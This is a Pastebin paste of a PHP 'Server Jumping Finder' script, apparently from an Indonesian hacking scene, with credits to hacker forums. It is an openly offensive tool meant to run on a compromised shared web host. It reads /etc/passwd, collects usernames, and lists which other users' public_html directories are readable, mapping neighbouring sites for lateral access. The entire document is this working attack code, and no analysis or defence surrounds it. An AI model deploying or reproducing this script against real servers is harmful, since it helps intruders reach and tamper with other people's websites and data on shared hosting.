Advertisement
EnggarHakim

Jump.php

May 31st, 2014
335
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 1.95 KB | None | 0 0
  1. <?php
  2. echo '<html><head><title>'.getenv("HTTP_HOST").' - Jumping Server</title></head><body>';
  3. ($sm = ini_get('safe_mode') == 0) ? $sm = 'off': die('<font size="4" color="#000000" face="Calibri"><b>Error: Safe_mode = On</b></font>');
  4.  
  5. set_time_limit(0);
  6. @$passwd = fopen('/etc/passwd','r');
  7.         if (!$passwd)
  8. {
  9.     die('<font size="4" color="#000000" face="Calibri"><b>[-] Error : Coudn`t Read /etc/passwd</b></font>');
  10. }
  11.  
  12.     $pub = array();
  13.     $users = array();
  14.     $conf = array();
  15.     $i = 0;
  16.         while(!feof($passwd))
  17.     {
  18.     $str = fgets($passwd);
  19.         if ($i > 100){ $pos = strpos($str,':');  
  20.        
  21.     $username = substr($str,0,$pos);  
  22.     $dirz = '/home/'.$username.'/public_html/';  
  23.        
  24.         if (($username != '')) { if (is_readable($dirz)) { array_push($users,$username);  
  25.     array_push($pub,$dirz); }}}$i++;}
  26.    
  27. echo '<p><font size="5" color="#008080" face="Calibri">Server Jumping Finder Version 3.0 <br></font><font size="3" color="#800000" face="Calibri">Created by uzanc | 2011 - Tangerang - Indonesia</font><font size="4" color="#000000" face="Calibri"><br><br>Dedicated To : <a href="http://code-security.com" target=_blank>www.code-security.com</a> - <a href="http://hacker-cisadane.org" target=_blank>www.hacker-cisadane.org</a></font><font size="3" color="#800000" face="Calibri"><br>Thank to : Yogyacarderlink - Indonesian Cyber - Hacker Newbie - Devilzc0de - Lumajangcrew And All Forum Hacker Indonesia</font></p><br><font size="3" color="#008080" face="Calibri">         [-]==================[ START ]==================[-] <br><br></font>';
  28.  
  29.         foreach ($users as $user)
  30. {
  31.     echo "<font size='3' color='#ee0808' face='Calibri'> [+] /home/$user/public_html/</font><br/>";}
  32.    
  33.     echo "\n <font size='3' color='#008080' face='Calibri'><br>[-]==================[ FINISH ]==================[-] <br></font>\n";
  34.    
  35.     echo "\n <font size='2' color='#800000' face='Calibri'>[+] Scanners have been completed | Thank you for using this tools [+]</font>\n";
  36.    
  37.     echo '</body></html>';
  38.  
  39. ?>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement